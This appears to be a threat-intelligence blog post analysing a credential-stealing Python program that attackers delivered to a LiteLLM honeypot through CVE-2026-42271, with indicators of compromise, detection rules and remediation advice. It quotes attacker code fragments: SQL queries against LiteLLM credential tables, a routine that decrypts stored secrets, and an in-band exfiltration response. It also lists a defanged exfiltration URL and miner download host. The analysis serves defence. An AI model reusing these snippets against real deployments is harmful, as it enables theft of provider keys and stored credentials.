- LiteLLM
- MCP
- Threat Intelligence
- Honeypot
- CVE-2026-42271
One Tool Named E: A LiteLLM Credential Collector (CVE-2026-42271)
A 1,513-byte Python program arrived at our LiteLLM decoy with one MCP tool named E. Eight weeks later, the same family was 44.2 times larger.
Zachary Gardner
Cybersecurity Researcher
On June 13, our LiteLLM decoy received a 1,513-byte Python credential collector. It impersonated a Model Context Protocol server, answered initialize and tools/list, and put its output in the description of one tool named E. To the gateway, the return path looked like a valid MCP reply. The decoy retained the submitted body, so we could examine the collector as source code rather than infer it from side effects.
Over the next eight weeks, that design arrived in fifteen dated source artifacts. The named-secret list grew from 7 to 72 in less than three days. Database collectors appeared. A broken Fernet routine gave way to LiteLLM’s own SecretBox construction in the next complete delivery, 12 hours, 22 minutes, and 41 seconds later. The last complete source was 44.2 times larger than the first. It still answered with E.
Three recent investigations define the surrounding terrain. Microsoft Security Research traced an exposed LiteLLM gateway from process-environment scraping to PostgreSQL credential collection, XMRig, and persistence. As part of a broader 90-day honeypot study, Wiz Threat Research observed a miner delivered through a fake MCP stdio server, with command output returned in a tool description. Horizon3.ai analyzed the command-injection and authentication flaws behind the requests.
Here, we follow a separate credential-collector family through its source changes and delivery infrastructure. The family treated the gateway as a route to provider keys, stored credentials, workload identity, and adjacent secret stores.
TL;DR
- Fifteen source artifacts: ten complete and five clipped, delivered to two emulated LiteLLM MCP test routes.
- 7 to 72 named secrets in under three days: the list then froze while database, workload-identity, and secret-store collectors accumulated around it.
- A corrected decryption routine: the next complete delivery replaced broken Fernet logic with LiteLLM’s SecretBox construction.
- 2,048 deliveries from 103 IPs: DigitalOcean’s AS14061 carried 92.9 percent of them.
- One stable return path: every complete program built a
tools/listresponse around one tool namedE.
From public reporting to captured source
MCP’s stdio transport starts a local helper process and speaks JSON-RPC over its input and output. In LiteLLM 1.74.2 through 1.83.6, CVE-2026-42271 allowed a valid proxy-key holder to supply the process command through two preview endpoints; an administrator role was not required. In affected deployments, CVE-2026-48710 could make those endpoints reachable without a valid proxy key.
LiteLLM 1.83.7 added administrator checks to both endpoints on April 19. The first tool-E delivery reached us 55 days later, five days after CISA added the CVE to KEV.
How the collector changed
Timeline
Figure 1. First-observed deliveries and retained capabilities in the tool-E family.
The list grows to 72
The first program carried seven high-value names, including OPENAI_API_KEY, ANTHROPIC_API_KEY, LITELLM_MASTER_KEY, and DATABASE_URL. It scanned /proc/[0-9]*/environ, fell back to /proc/1/environ, inspected its own environment, and read likely LiteLLM configuration files.
| First received, UTC | Decoded bytes | Named secret variables |
|---|---|---|
| June 13, 19:55 | 1,513 | 7 |
| June 14, 00:19 | 2,681 | 7 |
| June 15, 10:00 | 4,426 | 11 |
| June 15, 10:33 | 6,095 | 16 |
| June 15, 23:21 | 20,854 | 55 |
| June 16, 11:44 | 23,004 | 72 |
Every later artifact with a retained opening kept the 72-name tuple through August 20, even as the source added pattern matching, database access, workload identities, and secret-store collectors.
June 15: SQL against LiteLLM’s credential tables
At 23:21 UTC on June 15, the first complete database-aware program arrived. It parsed DATABASE_URL, attempted a PostgreSQL connection, and contained queries for three LiteLLM tables:
SELECT model_name, litellm_params
FROM "LiteLLM_ProxyModelTable" LIMIT 100;
SELECT credential_name, credential_values
FROM "LiteLLM_CredentialsTable" LIMIT 50;
SELECT param_value
FROM "LiteLLM_Config"
WHERE param_name = 'environment_variables'; Later programs added LiteLLM_AgentsTable and LiteLLM_MCPUserEnvVars. The environment exposes current values; the database can retain older provider credentials. What the collector could retrieve depended on permissions and successful decryption.
The Fernet mistake
The first database-aware program got LiteLLM’s credential protection wrong. Its _try_fernet function derived a Fernet key with SHA-256 and returned the original value after decryption failed. Plaintext and endpoints remained available; LiteLLM’s SecretBox ciphertext remained locked.
The next complete program arrived 12 hours, 22 minutes, and 41 seconds later with the correct construction:
k = hashlib.sha256(key.encode()).digest()
box = nacl.secret.SecretBox(k)
decoded = base64.urlsafe_b64decode(value + padding)
return box.decrypt(decoded).decode("utf-8") The replacement matches LiteLLM’s own implementation: URL-safe base64, SHA-256 over LITELLM_SALT_KEY or the master key, and PyNaCl SecretBox. The collector preferred the salt.
The gateway became a map
Eight weeks after the first request, the final source searched processes, configuration files, mounted secrets, five LiteLLM tables, and adjacent secret stores. It targeted AWS, Azure, and GCP workload identities; HashiCorp Vault, Doppler, and Infisical; and Kubernetes Secrets and ConfigMaps. The gateway was no longer only a source of provider keys. It was a route to the next credential store.
One response, no dedicated collection host
Every complete program ended with the same data flow:
write_jsonrpc({
"result": {"tools": [{
"name": "E",
"description": json.dumps(get_env())
}]}
}) No complete program hard-coded a collection host. Its explicit return channel was the MCP response itself, so a hunt limited to unfamiliar C2 domains would miss it. Later variants could still call cloud metadata, token, and secret-service endpoints; in-band return did not make the source network-silent.
Evidence boundaries
Bodies were retained for 5,123 of 5,173 relevant requests, so body-derived counts are lower bounds. They yielded fifteen source artifacts, five clipped; the code shows capability, not successful credential access.
Delivery infrastructure
The family arrived from 103 IPs. DigitalOcean accounted for 90 addresses and 1,902 of 2,048 deliveries, or 92.9 percent. The distribution then widened:
| Phase | Window | Deliveries | Delivery IPs |
|---|---|---|---|
| Concentrated | June 13 to 14 | 1,368 | 7 |
| Spreading | June 15 to 19 | 404 | 17 |
| Distributed | June 20 to August 20 | 276 | 81 |
The first two programs account for two-thirds of all deliveries; the final source arrived only six times. By July, one retained prefix had spread across 41 addresses. Static IP blocklists would age quickly.
Five addresses delivered more than one complete source or retained prefix. Each edge below is a byte-exact delivery.
Figure 2. Exact artifact deliveries from the five addresses that carried more than one complete source or retained prefix.
All 2,048 requests used the same user agent. It is weak alone; pair it with a vulnerable path, the stdio/Python wrapper, or a matching hash.
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Indicators of Compromise (IoCs)
Network
Two observations outside the tool-E lineage match infrastructure listed by Microsoft and Wiz. Their exact paths, tags, and hashes remain useful hunting pivots.
Show Microsoft and Wiz infrastructure overlaps
Microsoft: outbound Yosemite collector
| Indicator | Type | Observed role |
|---|---|---|
hxxp://yosemite[.]jp/cat1/recv.php?t= | URL | Exfiltration endpoint referenced by the submitted Python |
104[.]28[.]251[.]244 | IPv4 | Delivery source on June 10; one request to /mcp-rest/test/tools/list |
104[.]28[.]251[.]242 | IPv4 | Delivery source on June 16; four requests across both MCP test routes |
c3191 · c0159 | Payload tags | Values used in the URL parameter and as prefixes on the collected output |
Wiz Threat Research: HashVault attempt
| Indicator | Type | Observed role |
|---|---|---|
62[.]210[.]172[.]179 | IPv4 | Source of five identical attempts against /guardrails/test_custom_code |
62[.]210[.]172[.]174:8085/xmrig | IPv4, port and path | XMRig retrieval location referenced by the payload |
pool.hashvault[.]pro:443 | Domain and port | Monero pool referenced by the payload |
42BQmWHb6wnW2B9DTXaErWa4iN57F5FLpTwX5a3wwAuifQ68Z8vmFoDJAJonLWzvsP6vTpSNMoNGE5AfjANQW2A7NV8Zozm | Monero wallet | Pool username in the submitted command |
wsckt | Worker/password label | -p value in the submitted XMRig command |
2f33884bbcd5a9f4e31360fe8db9679a17f429261f05e86ae57ebe8b2ece32cd | SHA-256 | Exact 804-byte HTTP request body |
These are historical investigative leads, not durable blocklist entries. The IP addresses and domain are defanged.
Defanged delivery IPs
These addresses delivered an exact family request body from June 13 through August 20, 2026. Cloud instances may have been reimaged or reassigned, and consumer addresses may be dynamic. Use the addresses as dated pivots alongside the source and request-body hashes below.
Show all 103 defanged delivery IPs
AS14061 DigitalOcean (90)
46[.]101[.]101[.]72
46[.]101[.]128[.]162
46[.]101[.]131[.]33
46[.]101[.]147[.]103
46[.]101[.]169[.]225
46[.]101[.]174[.]238
46[.]101[.]178[.]31
46[.]101[.]178[.]123
46[.]101[.]182[.]181
46[.]101[.]205[.]202
46[.]101[.]208[.]15
64[.]225[.]111[.]101
64[.]226[.]75[.]251
64[.]226[.]85[.]54
64[.]226[.]105[.]57
64[.]226[.]108[.]153
64[.]226[.]110[.]209
64[.]227[.]121[.]149
64[.]227[.]123[.]160
68[.]183[.]1[.]186
68[.]183[.]183[.]39
104[.]248[.]29[.]139
104[.]248[.]37[.]187
104[.]248[.]253[.]176
134[.]199[.]221[.]128
134[.]209[.]234[.]7
138[.]68[.]73[.]202
138[.]68[.]75[.]159
138[.]68[.]95[.]185
139[.]59[.]145[.]209
139[.]59[.]157[.]93
139[.]59[.]237[.]1
142[.]93[.]173[.]13
142[.]93[.]229[.]183
147[.]182[.]243[.]83
152[.]42[.]141[.]75
157[.]230[.]100[.]189
157[.]230[.]114[.]239
159[.]89[.]27[.]215
159[.]203[.]123[.]236
159[.]223[.]7[.]203
159[.]223[.]210[.]71
161[.]35[.]19[.]129
161[.]35[.]75[.]164
164[.]90[.]163[.]118
164[.]90[.]178[.]65
164[.]90[.]228[.]193
164[.]92[.]154[.]226
164[.]92[.]172[.]84
165[.]22[.]37[.]193
165[.]22[.]77[.]184
165[.]22[.]91[.]82
165[.]22[.]200[.]186
165[.]22[.]204[.]180
165[.]227[.]143[.]228
165[.]227[.]158[.]57
165[.]232[.]45[.]26
165[.]232[.]73[.]47
165[.]232[.]116[.]7
165[.]232[.]126[.]253
165[.]245[.]208[.]84
165[.]245[.]217[.]198
165[.]245[.]220[.]30
165[.]245[.]244[.]177
165[.]245[.]246[.]56
165[.]245[.]255[.]170
167[.]71[.]45[.]54
167[.]71[.]47[.]223
167[.]71[.]48[.]89
167[.]71[.]51[.]249
167[.]71[.]56[.]24
167[.]99[.]132[.]156
167[.]172[.]97[.]26
167[.]172[.]164[.]247
167[.]172[.]167[.]96
167[.]172[.]171[.]160
167[.]172[.]174[.]237
178[.]62[.]246[.]66
178[.]62[.]251[.]23
188[.]166[.]25[.]200
188[.]166[.]90[.]176
188[.]166[.]95[.]74
188[.]166[.]99[.]25
188[.]166[.]149[.]175
206[.]189[.]60[.]69
207[.]154[.]212[.]236
207[.]154[.]221[.]80
209[.]38[.]204[.]145
209[.]38[.]211[.]29
209[.]97[.]145[.]25
AS24940 Hetzner (1)
167[.]233[.]166[.]233
AS37693 TUNISIANA (5)
197[.]17[.]9[.]173
197[.]17[.]29[.]78
197[.]17[.]66[.]128
197[.]17[.]74[.]33
197[.]17[.]127[.]158
AS37705 Topnet (1)
41[.]231[.]84[.]37
AS45102 Alibaba Cloud (6)
8[.]221[.]117[.]120
43[.]98[.]163[.]32
43[.]98[.]171[.]176
43[.]98[.]171[.]177
43[.]98[.]180[.]150
47[.]84[.]103[.]117Payload signatures
- Paths:
/mcp-rest/test/connection,/mcp-rest/test/tools/list - Decoded-source conjunction:
def get_env(,/proc/[0-9]*/environ, andHVT = ( - MCP response: one tool named
Ewith serialized collection results indescription - Tables:
LiteLLM_ProxyModelTable,LiteLLM_CredentialsTable,LiteLLM_Config,LiteLLM_AgentsTable,LiteLLM_MCPUserEnvVars - Crypto combination:
_try_fernet,hashlib.sha256, andnacl.secret.SecretBox - Outbound Yosemite collector:
/proc/1/environor/proc/*/environ, the filterlitellm|master|api|minimax|key|secret|token|password|UI_, and/cat1/recv.php?t=
This YARA rule targets decoded source, not the encoded HTTP body.
Show YARA source-family rule
rule Beelzebub_LiteLLM_MCP_OneToolE_Source_Family
{
strings:
$get_env = "def get_env("
$proc_environ = "/proc/[0-9]*/environ"
$hvt_tuple = /HVT[ \t]*=[ \t]*\(/
condition:
all of them
} Hashes
The five Yosemite-linked requests resolve to three byte-exact request bodies:
Show the three Yosemite-linked request-body hashes
455807a1cf2c8a67e98f9791c6febe2d1199bffaa69f2b5d39a33ac7b47f088d
f7f07858e6f80fff8b41d9ba7737fae6e3e8dd5a9a59fb89c1ad0b0f42150f9d
33d12b08f5b93d883d473afca2b6bf946ca2d7cb5d0e680ef71766b9bf15fc45These SHA-256 values identify decoded Python source or a retained source prefix, not the surrounding HTTP body:
Show all 15 decoded-source and retained-prefix hashes
| First received, UTC | Bytes | Type | SHA-256 |
|---|---|---|---|
| 2026-06-13 19:55:38 | 1,513 | Complete | 47a138d3fafb039a121ff0b23baa9900e7e74850a806fc049b13cad3c43d1ef2 |
| 2026-06-14 00:19:47 | 2,681 | Complete | 5e54c3c229e7ecf57abac2551a77d6be40d7c3827ed67aa72ab701939dbb8ab3 |
| 2026-06-15 10:00:34 | 4,426 | Complete | 1bb09a71a06290845442648f2b14ddd5bcc47282e349ff4220d5296ae147db54 |
| 2026-06-15 10:33:57 | 6,095 | Complete | 9e50365dbad3b54cc3eed045b968725c2ff53d28da5b7ed77d07855cce30c3c4 |
| 2026-06-15 23:21:33 | 20,854 | Complete | a49267098cae42e1f470f00b4eb7d134944879ccf664bd176e6c3235db6b32e9 |
| 2026-06-16 11:44:15 | 23,004 | Complete | b7cc70554784e40c968c540d2e28b5b8dd78ea17dce4bd1f8bb7325fc23f0755 |
| 2026-06-16 16:06:05 | 40,361 | Complete | bc45b837760f0b00bfad3efae802854bb0ef4ef8a625e04182d1aa09cb1787e1 |
| 2026-06-19 11:37:30 | 41,649 | Complete | 7f6859d4b1bfe6437c9c43784e336dcde2ed73119f5ab1e3a35737fd702f7d2c |
| 2026-06-20 10:57:45 | 41,850 | Complete | bbca98b395c224289b65800a073958b73a94e41d4bac5662c5e06dba0e6c04ed |
| 2026-06-20 12:49:48 | 49,078 | Prefix | 875d77b0841a5f09f2ed5ca81069c688736da281484a6547cfdb1d267559ee03 |
| 2026-06-25 13:56:08 | 49,078 | Prefix | bd7379f3c095bf4aedeae2918e984832956ec43b9caca106e47dcc8ccd18ce48 |
| 2026-07-01 11:38:12 | 49,078 | Prefix | d9be9a541c2e751ee5b95cd8c9a7f54e1d0b3b2b5796420640c22625434e851a |
| 2026-07-08 11:22:22 | 49,078 | Prefix | e60118b68fe4c663d891395fa42ec9eea74f6fb830a6b598e9ac86d9c46d0db4 |
| 2026-07-11 12:02:36 | 49,078 | Prefix | e3833f0a6c582ce009e4b2cbe5b05f9db12a0928a29384a7cddefb2477190b8e |
| 2026-08-10 15:51:35 | 66,901 | Complete | 308c0e49adb5827f93f3d254f2d6cca808d08a545c167713a12b003fc2656038 |
The body hashes below identify byte-exact HTTP requests. They are often easier to match in proxy, WAF, or retained packet data than the decoded-source hashes:
Show all 23 exact HTTP request-body hashes
bfa42615c2ff9a3f603f79380fbcd9d52281d39ae45b45264c9bb9e2e3b2d1b7
35b572061f175ed03cdd62088139ca62522d6f2eb5e8977f09d5b4734ac38d3b
3b4fb1f0c71daae2c1690e0fe755be69fb9bf36e538f9cff9866c00f217c6bd4
6496e10178b174d6520472e0ddc945c4267c09edef02dd2c31ef113d54dcdf58
74569fcb7c75a8e4f6f12a691d5a7f581bf78da678722d88d2932d682e8a4364
8192770e654d7c19a6a7c1ad2eae34e70dd055228ab0dc2893b589d6645da165
addab62057d9562174d6afd3629269bfde5a2c1031cc4fbbd54518240540c9e5
15684b50996960de53e2297b5f6fe1d447de7b6efcb18697bd3e0f08f8118248
7a6986b652138ffa4eaf9c555053c6e4de32f9ac7eb677e0a3c8263ce582a5e7
a9061654bc4d88c1a9ef3dd4c50f5706d819b226b17340457ee541421cf020fc
fcd20795eca29ad556ab612bdbb791a5e0db5288b8eef7eb9c43978bb8d75a4a
4177777321c4a63222d9b1f884022ef9dde1202d99cc37ae173a1f3eb066efbe
502b637efb2be2f07292c67af2972307c405e693c5d48a89f4d7d6d4163a2363
4336dd3637d6a7fd43ae102782bbbc6964286fc7e0351b9b06f5436f97eb4c5c
ba4ea48ed5628f2ee86fd141ff48feaad05f19e8a2e52738612ada1ac507d457
c8d4696596b6b77819af6ba013a766f10e9b748e0e4a720269c609acae7713aa
d6c83666179115a8427d3f451ee9de60e3a89fe311acdc4bf02fa7c418660bcb
671d2528a3a068e12c4e78d31439fee599d521672823ef9929bfeedd73c99cbd
4f2b4f980ccc781e96887c0eab9366f154c83e61d7f031780a829813f4b59cbb
24820e216d07b7604b979e6bc4852c92ee7f5f85c412ce11e19fbbea2ecb5857
b1b4b2c41d4de524d5a20773d95fb4d10c6cb2149c3ad0ccf34d1240860bf55a
32ed3b90d5904896cf984f69dcb870abdf6299bacc86f8906c193f87e9b1541d
eca0ffd941fa5c729732d9b15472429c4ca97a7049cd7590e0308afcae78e5a6Detection
Detect at three layers. At the edge, look for either vulnerable path carrying stdio and Python. On the host, watch LiteLLM spawn an interpreter that reads /proc/*/environ, configuration, or mounted tokens. In the response, flag a tools/list result containing one tool named E with a large JSON-shaped description. Correlate those signals with access to the five named tables, cloud metadata, secret stores, or the Kubernetes API.
Show Sigma rule
title: LiteLLM MCP Stdio Credential Collector Attempt
id: 8f2c1b40-5d3e-4a91-b7c2-1e9d4a6f0c33
status: experimental
description: >
Detects the observed Python credential-collector shape submitted through
LiteLLM MCP stdio test endpoints.
references:
- https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g
logsource:
category: webserver
detection:
selection_path:
cs-method: "POST"
cs-uri-stem|contains:
- "/mcp-rest/test/connection"
- "/mcp-rest/test/tools/list"
selection_stdio:
request_body|contains|all:
- '"transport"'
- '"stdio"'
- '"command"'
- "python3"
selection_harvest:
request_body|contains:
- "/proc/[0-9]*/environ"
- "base64.b64decode"
condition: selection_path and selection_stdio and selection_harvest
falsepositives:
- Authorized MCP connectivity tests that deliberately launch Python; tune known management sources.
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.006
- attack.credential_access
- attack.t1552.001 Show Suricata rule
alert http any any -> $HOME_NET any (msg:"LiteLLM MCP stdio credential collector attempt (CVE-2026-42271)"; flow:established,to_server; http.method; content:"POST"; http.uri; pcre:"/^\/mcp-rest\/test\/(connection|tools\/list)(?:\?|$)/i"; http.request_body; pcre:"/\"transport\"\s*:\s*\"stdio\"/i"; content:"\"command\""; nocase; content:"python3"; nocase; pcre:"/(?:b64decode|\/proc\/\[0-9\]\*\/environ)/i"; classtype:web-application-attack; sid:202642271; rev:1;) Recommendations
If you run LiteLLM
- Run 1.83.10 or later. Version 1.83.7 fixes the command path documented here; 1.83.10 also closes CVE-2026-59819, a separate, lower-severity health-check issue requiring privileged access.
- Keep management interfaces off the public internet. Use a dedicated, unprivileged gateway identity.
- Restrict the gateway’s PostgreSQL account to required objects, and allow egress only to required providers and services.
- Remove provider secrets from the process environment where practical. The submitted collector also queried and attempted to decrypt stored credentials.
- If you confirm execution, rotate every credential the gateway could reach. If that includes
LITELLM_SALT_KEY, re-encrypt or recreate stored credentials as part of recovery.
If you cannot upgrade
Block these requests at the reverse proxy or API gateway:
POST /mcp-rest/test/connection
POST /mcp-rest/test/tools/list
This is temporary containment, not a substitute for upgrading.
If you defend a fleet
- Deploy the Sigma and Suricata rules above for both MCP test paths.
- Alert on LiteLLM spawning an interpreter. Correlate it with
/proc/*/environreads, configuration access, database queries, cloud identity use, secret-store reads, and Kubernetes API activity. - Inspect MCP responses where policy permits. One tool named
Ewith a large JSON-shaped description is the in-band return signature. - Treat the shared Mac user agent as supporting evidence. It becomes useful beside the path, stdio/Python wrapper, or a published hash.
Conclusion
The code changed; the trust boundary did not. LiteLLM sits on provider keys, stored credentials, database access, and workload identity. The gateway is the secrets broker.
References
- Microsoft: When AI Infrastructure Becomes the Target
- Wiz: Inside 90 days of attacks on AI infrastructure
- LiteLLM: CVE-2026-42271
- LiteLLM: CVE-2026-59819
- LiteLLM 1.83.7 release
- Horizon3.ai: CVE-2026-42271 exploit chain
- CISA KEV Catalog
- LiteLLM: Set
LITELLM_SALT_KEY - LiteLLM 1.83.7 cryptography utility
Explore the open-source Beelzebub deception framework or book a Beelzebub.ai demo.
The Beelzebub team is dedicated to making the internet a better and safer place. ❤️